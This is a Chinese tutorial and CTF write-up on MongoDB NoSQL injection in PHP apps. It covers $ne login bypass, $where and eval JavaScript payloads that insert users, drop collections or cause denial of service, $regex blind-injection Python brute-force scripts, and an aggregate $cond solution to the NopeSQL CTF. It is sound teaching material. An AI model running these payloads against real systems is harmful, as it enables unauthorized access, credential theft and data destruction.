首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从零学习 NoSQL 注入之 Mongodb

从零学习 NoSQL 注入之 Mongodb

作者头像
信安之路
发布2020-03-20 11:21:22
6.7K0
发布2020-03-20 11:21:22
举报
文章被收录于专栏:信安之路信安之路

本文作者:ca01h

本文难度虽然不是很大,不过文章相对完整,有理有据,值得分享。

0x01 NoSQL 和 MongoDB 简介

NoSQL

NoSQL 的概念就不赘述了,以下摘自菜鸟教程。

NoSQL,指的是非关系型的数据库。NoSQL 有时也称作 Not Only SQL 的缩写,是对不同于传统的关系型数据库的数据库管理系统的统称。NoSQL 用于超大规模数据的存储。(例如谷歌或 Facebook 每天为他们的用户收集万亿比特的数据)。这些类型的数据存储不需要固定的模式,无需多余操作就可以横向扩展。

MongoDB

详细概念建议直接看教程 [传送门:

http://www.runoob.com/mongodb/mongodb-tutorial.html

这里就简单的总结几句:

在 MySQL 中,我们所熟知的几个最常见的概念是数据库 (Database)、表 (Table)、字段 (Column)、记录 (Record)、索引 (Index),这些术语映射到 MongoDB 中大概等价于数据库 (Database)、集合 (Collection)、域 (Field)、文档 (Document)、索引 (Index)。下面就通过官网文档的几张图略作解释。

文档是由一组键值 (key-value) 对 (即 BSON,Binary JSON) 组成。MongoDB 的文档不需要设置相同的字段,并且相同的字段不需要相同的数据类型,例如:

集合就是 MongoDB 文档组,存在于数据库中,而且它没有固定的结构,这意味着你对集合可以插入不同格式和类型的数据,但通常情况下我们插入集合的数据都会有一定的关联性。下面这张图展示了这三者之间的关系:

好了,前置知识部分介绍到这里,下面开始今天的正文部分:MongoDB 注入

0x02 NoSQL 注入

在讲 MangoDB 注入之前,我们先大致了解一下整个 NoSQL 注入的流程,下面这张图来自 OWASP:

NoSQL 提供了新的数据模型和查询格式,从而可以规避常规的 SQL 注入攻击。但是,它们也为攻击者提供了插入恶意代码的新方法。总的来讲有四种注入手法:

1、重言式

又称为永真式(这个好像是数理逻辑里面的术语),此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。

2、联合查询

联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。

3、JavaScript 注入

MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,传递不干净的用户输入到这些查询中可以注入任意 JavaScript 代码,导致非法的数据获取或篡改。

4、盲注

当页面没有回显时,那么我们可以通过$regex正则表达式来达到和 SQL 注入中substr()函数相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。

下面,我们就主要通过 PHP 来讲解一下 MongoDB 注入的利用方式,其他语言手法是类似的。

0x03 PHP MongoDB 注入

在 PHP 中使用 MongoDB 你必须使用 MongoDB 的 PHP 驱动:

https://pecl.php.net/package/mongodb

官网上可以看到有很多版本,其中 1.0.0 版本之后,php_mongodb.dll 将不再支持MongoClient类,也就是说,$m = new MongoClient("mongodb://localhost:27017");这种调用方式已经被淘汰,而是用命名空间的方式,但是注入的原理是差不多的,这里就主要介绍一下新版 PHP 驱动进行查询操作 MongoDB 的三种方法(为了方便,均以 GET 请求方式为例(一般注入也是发生在查询语句中)。

测试环境

win10 PHP 7.3.4 MongoDB Server 4.2 php_mongodb.dll 1.7.4

重言式注入

利用executeQuery直接查询:

<?php
# 连接数据库
$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$uname = $_GET['username'];
$pwd = $_GET['password'];
# 查询语句
$query = new MongoDB\Driver\Query(array(
    'uname' => $uname,
    'pwd' => $pwd
));
# 执行语句
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
    foreach ($result as $user) {
        $user = ((array)$user);
        echo 'username:' . $user['uname'] . '<br>';
        echo 'password:' . $user['pwd'] . '<br>';
    }
}
else{
        echo 'Not Found';
}

传递的参数是一个数组,比较安全。这种形式叫 ODM,它会帮你过滤数据,所以一般不用担心原语句被破坏。

ORM 对应关系型数据库,如 MySQL;ODM 对应文档型数据库,如 MongoDB。

当我们用公共用户 ca01h 输入时,显示出 username 和 password:

这是一个正常的输入,数据处理过程如下图所示:

PHP 允许最终用户通过将 URL 参数更改为带有方括号的参数来将 GET 查询字符串输入更改为数组,我们试一下这种输入:

$ne 即 not equal 不等于

amazing~ 所有用户都查出来了,再看一下数据处理过程:

对于 PHP 本身的特性而言,由于其松散的数组特性,导致如果我们输入value=1那么,也就是输入了一个 value 的值为 1 的数据。如果输入value[$ne]=1也就意味着value=array($ne=>1),在 MongoDB 中,原来的一个单个目标的查询变成了条件查询。同样的,我们也可以使用username[$gt]=&password[$gt]=作为 payload 进行攻击。

这种方式也是我们通常用来验证网站是否存在 NoSQL 注入的第一步。

联合查询注入

我们都知道在 SQL 时代拼接字符串容易造成 SQL 注入,NoSQL 也有类似问题,但是现在无论是 PHP 的 MongoDB driver 还是 node.js 的 mongoose 都必须要求查询条件必须是一个数组或者 query 对象了,因此简单看一下就好。

示例代码:

string query ="{ username: '" + $username + "', password: '" + $password + "' }"

Payload:

username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: 'successful MongoDB injection'

相当于执行了:

{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: 'successful MongoDB injection'

这种手法和 SQL 注入比较相似:

select * from logins where username = 'admin' and (password true<> or ('a'='a' and password = ''))
JavaScript 注入

我们知道 MongDB Server 是支持 JavaScript 语言的,这样给开发人员带来了很多非常方便的使用方法,但也是因为它本身的灵活性,造成了 JavaScript 注入。

$where 操作符

在 MongoDB 中 $where 操作符是可以执行 JavaScript 语句的,在 MongoDB 2.4 之前,通过 $where 操作符使用map-reducegroup命令可以访问到 mongo shell 中的全局函数和属性。

<?php
$manager = new MongoDB\Driver\Manager();
$uname = $_GET['username'];
$pwd = $_GET['password'];
$function = "function() {if(this.uname == '$uname' && this.pwd == '$pwd') return {'username': this.uname, 'password': this.pwd}}";
$query = new MongoDB\Driver\Query(array(
    '$where' => $function
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
    foreach ($result as $user) {
        $user=(array)$user;
        echo 'username: '.$user['uname']."<br>";
        echo 'password: '.$user['pwd']."<br>";
    }
}
else{
    echo 'Not Found';
}

MongoDB 2.4 版本之前,可以访问到 db 属性:

?username='||1) return {'username': tojson(db.getCollectionNames()), 'password': 'hacked'}}//&password=1

由此可以扩展出其他的很多类似的 payload。

MongoDB 2.4 版本之后,无法访问全局属性,NoSQL 中的万能密码 payload (单引号闭合):

?username=1&password=admin' || '' = '

相当于执行:

$function = "function() {if(this.uname == 'anything' && this.pwd == 'admin' || '' == '') return {'username': this.uname, 'password': this.pwd}}";

此外还有一个类似于 DOS 攻击的 payload,可以让服务器 CPU 飙升到 100% 持续 5 秒:

?username=1&password=1;(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();
eval

注意,eval使用方式在 Mongo3.0 之后已经被废弃了,而且在官方页面中也没有 Mongo3.0 版本之前的下载链接了,以下的实例代码未经测试,仅提供给大家一个思路,以下代码引用自

https://www.tr0y.wang/2019/04/21/MongoDB%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/index.html


<?php
$manager = new MongoDB\Driver\Manager();
$uname = $_GET['username'];
$pwd = $_GET['password'];
$cmd = new MongoDB\Driver\Command([
'eval'=> "db.users.distinct('uname', {uname: '".$uname'})"
]);
echo "db.users.distinct('uname', {uname: '".$uname'})";
$result = $manager->executeCommand('sec_test', $cmd)->toArray();
$result =((array)$result[0])['retval'];
$count = count($result);
if ($count>0) {
    foreach ($result as $user) {
        $user=(array)$user;
        echo 'username: '.$user['uname']."\n";
        echo 'password: '.$user['pwd']."\n";
    }
}
else{
    echo 'Not Found';
}
?>

往 users 集合插入攻击者用户:

?username=1'});db.users.insert({"username":"ca01h","password":"1"});db.users.find({'username':'2

删掉 users 集合:

?username=1'});db.users.drop();db.users.find({'username':'2
mapReduce

MongoDB 中的mapReduce函数有点类似于 MySQL 中的group by操作,下面是一个官方文档的例子,在集合 orders 中查找 status:"A" 的数据,并根据 cust_id 来分组,并计算 amount 的总和:

简单的解释一下:

map函数用于分组:

function map(){ emit(param1, param2); }
param1:需要分组的字段,this.字段名;
param2:需要进行统计的字段,this.字段名。

reduce函数用于处理需要统计的字段:

function reduce(key, values){ // 统计字段处理 }
  
key: 指分组字段(emit的param1)对应的值;
values:指需要统计的字段(emit的param2)值组成的数组。

Map 函数和 Reduce 函数可以使用 JavaScript 来实现,使得 MapReduce 的使用非常灵活和强大。但是同样也带来了隐患,假设有这样的一个业务场景,数据库中存储了一个store集合,有一系列商品的名称、价格和数量,我们想得到相同商品的价格或者数量的总和,代码如下:

require_once __DIR__ . "/vendor/autoload.php";
$param = $_POST['param'];
$collection = (new MongoDB\Client)->test->stores;
$map = "function() {
        for (var i = 0; i < this.items.length; i++) {
      emit(this.name, this.items[i].$param);    }
        }";
$reduce = "function(name, sum) { return Array.sum(sum); }";
$opt = "{ out: 'totals' }";
$results = $collection->mapReduce($map, $reduce, $out);

该代码应该在$param给定的字段上求和,但是这同样给了攻击者可乘之机,如果$param是这样:

a);}},function(kv) { return 1; }, { out: ‘x’ });
db.injection.insert({success:1}); return 1;
db.stores.mapReduce(function() { { emit(1,1

那么在 MongoDB 中就相当于执行了下面这条语句:

db.stores.mapReduce(function() {
for (var i=0; i < this.items.length; i++) {
emit(this.name, this.items[i].a);
}
},
function(kv) { return 1; }, { out: 'x' });
db.injection.insert({success:1}); return 1;
db.stores.mapReduce(function() { { emit(1,1); } },
function(name, sum) {
return Array.sum(sum); }, { out: 'totals' });"

相当于直接控制了整个 MongoDB 的操作。

但我们也同时发现,构建这样的 payload 是有一定难度的,需要我们对 MongoDB,JavaScript 和业务都有足够的了解,这也是 NoSQL 注入的局限性。但是,这个例子也告诉我们有用户输入的地方就有危险存在,比如后面有一个 CTF 题目,用的也是 MongoDB 中的聚合函数aggregate,因为一个 GET 参数而存在注入漏洞。

盲注

回想一想上面的例子,假如页面只是告诉你成功或者失败,那么就是我们在 MySQL 里遇到的布尔盲注了。布尔盲注重点在于怎么逐个提取字符,MySQL 里我们可以采用substr,而在 MongoDB 里我们有 $regex正则表达式。下面是一些常用的盲注。

已知某一个用户名的前提下判断的密码长度:

?username[$eq]=ca01h&password[$regex]=.{5}

逐位提取字符:

# url格式
?username[$eq]=ca01h&password[$regex]=c.{4}
?username[$eq]=ca01h&password[$regex]=ca.{3}
?username[$eq]=ca01h&password[$regex]=ca0.{2}
?username[$eq]=ca01h&password[$regex]=c.*
?username[$eq]=ca01h&password[$regex]=ca.*
# json格式
{"username": {"$eq": "ca01h"}, "password": {"$regex": "^c" }}
{"username": {"$eq": "ca01h"}, "password": {"$regex": "^ca" }}
{"username": {"$eq": "ca01h"}, "password": {"$regex": "^ca0" }}

当然,提到盲注肯定少不了脚本:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username = 'admin'
password = ''
target = 'http://127.0.0.1/mongo/test.php'
while True:
    for c in string.printable:
        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
            payload = '?username=%s&password[$regex]=^%s' % (username, password + c)
            r = requests.get(target + payload)
            if 'OK' in r.text:
                print("Found one more char : %s" % (password+c))
                password += c

爆破密码结果如下:

类似的还有 POST 的版本:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
target = 'http://127.0.0.1/mongo/test.php'
headers = {'content-type': 'application/json'}
while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload = '{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(target, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'OK' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c

当然这里的脚本还是有一些改进的地方,比如可以首先判断用户名或密码长度,而且上面代码去掉了一些特殊字符等等的。这里就不再多做演示了,刚好下面有一个实例靶机是需要写 Python 脚本盲注 MongoDB,那个代码考虑的问题更多,可以稍微看一下。

0x04 Node.JS MongoDB 注入

技巧跟 PHP MongoDB 是类似的,这里就提供一些 Node.JS 的靶场给大家练练手:

https://pockr.org/bug-environment/detail?environment_no=env_75b82b98ffedbe0035

https://github.com/ricardojoserf/NoSQL-injection-example

0x05 MongoDB 注入实例

CTF NopeSQL

靶机地址:

https://cybrics.net/tasks/nopesql

扫描网站发现有 Git 源码泄露,用 GitHack 工具获得index.php源码:

<?php
require_once __DIR__ . "/vendor/autoload.php";
function auth($username, $password) {
    $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
    $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
    $document = $collection->findOne(json_decode($raw_query));
    if (isset($document) && isset($document->password)) {
        return true;
    }
    return false;
}
$user = false;
if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
    $user = auth($_COOKIE['username'], $_COOKIE['password']);
}
if (isset($_POST['username']) && isset($_POST['password'])) {
    $user = auth($_POST['username'], $_POST['password']);
    if ($user) {
        setcookie('username', $_POST['username']);
        setcookie('password', $_POST['password']);
    }
}
?>
<?php if ($user == true): ?>
    Welcome!
    <div>
        Group most common news by
        <a href="?filter=$category">category</a> |
        <a href="?filter=$public">publicity</a><br>
    </div>
    <?php
        $filter = $_GET['filter'];
        $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
        $pipeline = [
            ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
            ['$sort' => ['count' => -1]],
            ['$limit' => 5],
        ];
        $filters = [
            ['$project' => ['category' => $filter]]
        ];
        $cursor = $collection->aggregate(array_merge($filters, $pipeline));
    ?>
    <?php if (isset($filter)): ?>
        <?php
            foreach ($cursor as $category) {
                    printf("%s has %d news<br>", $category['_id'], $category['count']);
            }
        ?>
    <?php endif; ?>
<?php else: ?>
    <?php if (isset($_POST['username']) && isset($_POST['password'])): ?>
        Invalid username or password
    <?php endif; ?>
    <form action='/' method="POST">
        <input type="text" name="username">
        <input type="password" name="password">
        <input type="submit">
    </form>
    <h2>News</h2>
    <?php
        $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
        $cursor = $collection->find(['public' => 1]);
        foreach ($cursor as $news) {
            printf("%s<br>", $news['title']);
        }
    ?>
<?php endif; ?>

第一步是利用重言式注入登录,但是有点不同的是,输入的参数被双引号包括,所以我们必须想办法闭合这个双引号,payload:

username=1&password=","password":{"$ne"=null}, "username":admin"

这里如果直接使用{"$ne":null}会出现 500 的错误:

代码:
var_dump(json_decode($raw_query));
输出:
object(stdClass)#1 (2) {
  ["username"]=>
  string(12) "{'$ne':null}"
  ["password"]=>
  string(12) "{'$ne':null}"
}

发现{'$ne':null}被解析成了 string 而不是 array。前一个 payload 虽然usernamepassword重复了,但json_decode时变量只会是最后一次的赋值。

登录成功后

filter 参数里可以填 category展示目录 text展示内容 title展示标题,但是都限制了5条。

代码里是用的 MongoDB 聚合函数aggregate,下面这张图也是来自官方文档,解释了aggregate函数的执行过程:

使用aggregate聚合函数时,在里面是可以使用条件判断语句的。在 MongoDB 中$cond表示if判断语句,匹配的符号使用$eq,连起来为[$cond][if][$eq],当使用多个判断条件时重复该语句即可。

官方文档列出的$cond的用法:

官方文档的例子:

https://docs.mongodb.com/manual/reference/operator/aggregation/cond/


db.inventory.aggregate(
   [
      {
         $project:
           {
             item: 1,
             discount:
               {
                 $cond: { if: { $gte: [ "$qty", 250 ] }, then: 30, else: 20 }
               }
           }
      }
   ]
)

现在我们的目的是:如果$category的值是 flag,那么就输出$title的内容,否则还是原样输出$catagory,照着上面的例子写成 MongoDB shell 的形式就是:

db.news.aggregate(
   [
      {
         $project:
           {
             category:
               {
                 $cond: { if: { $eq: [ "$category", "flags" ] }, then: $title, else: $category }
               }
           }
      }
   ]
)

转换成 PHP 数组形式传入 filter 参数:


?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$title&filter[$cond][else]=$category

转换成raw_query的形式:

{
    "category":
    {
     "$cond":
     {
      "if":
      {
          "$eq": [ "$category", "flags" ]
      },
      "then": "$title",
      "else": "$category"
     }
    }
}

var_dump(json_decode(raw_query))即为:

object(stdClass)#4 (1) {
  ["category"]=>
  object(stdClass)#3 (1) {
    ["$cond"]=>
    object(stdClass)#2 (3) {
      ["if"]=>
      object(stdClass)#1 (1) {
        ["$eq"]=>
        array(2) {
          [0]=>
          string(9) "$category"
          [1]=>
          string(5) "flags"
        }
      }
      ["then"]=>
      string(6) "$title"
      ["else"]=>
      string(9) "$category"
    }
  }
}

接着直接修改$title$text查看:

成功拿到 flag~

HTB Mongo

最近做了一个 HackTheBox 的靶机,主要考察的就是写 Python 脚本盲注 MongoDB 的过程,限于篇幅原因,就不把 walkthrough 贴在这里了,感兴趣的同学可以移步于此:

https://ca0y1h.top/Target_drone/HackTheBox/5.HTB-Mongo-walkthrough/

0x06 工具

Github 上有个工具叫 NoSQLAttack, 不过已经没有维护了:

https://github.com/youngyangyang04/NoSQLAttack

另外还有一个 NoSQLMap 工具,这个项目作者仍在维护:

https://github.com/codingo/NoSQLMap

0x07 参考资料

https://www.runoob.com/mongodb/

https://pockr.org/activity/detail?activity_no=act_761e1e744d8aa16823#sp_26a751c506f61078b0

https://www.mi1k7ea.com/2019/08/11/NoSQL%E6%B3%A8%E5%85%A5%E4%B9%8BMongoDB/#0x03-NoSQL%E6%B3%A8%E5%85%A5

https://www.tr0y.wang/2019/04/21/MongoDB%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/index.html

https://nullsweep.com/a-nosql-injection-primer-with-mongo/

https://zanon.io/posts/nosql-injection-in-mongodb

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 NoSQL 和 MongoDB 简介
  • 0x02 NoSQL 注入
  • 0x03 PHP MongoDB 注入
    • 重言式注入
      • 联合查询注入
        • JavaScript 注入
          • 盲注
          • 0x04 Node.JS MongoDB 注入
          • 0x05 MongoDB 注入实例
            • CTF NopeSQL
              • HTB Mongo
              • 0x06 工具
              • 0x07 参考资料
              相关产品与服务
              云数据库 MongoDB
              腾讯云数据库 MongoDB(TencentDB for MongoDB)是腾讯云基于全球广受欢迎的 MongoDB 打造的高性能 NoSQL 数据库,100%完全兼容 MongoDB 协议,支持跨文档事务,提供稳定丰富的监控管理,弹性可扩展、自动容灾,适用于文档型数据库场景,您无需自建灾备体系及控制管理系统。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档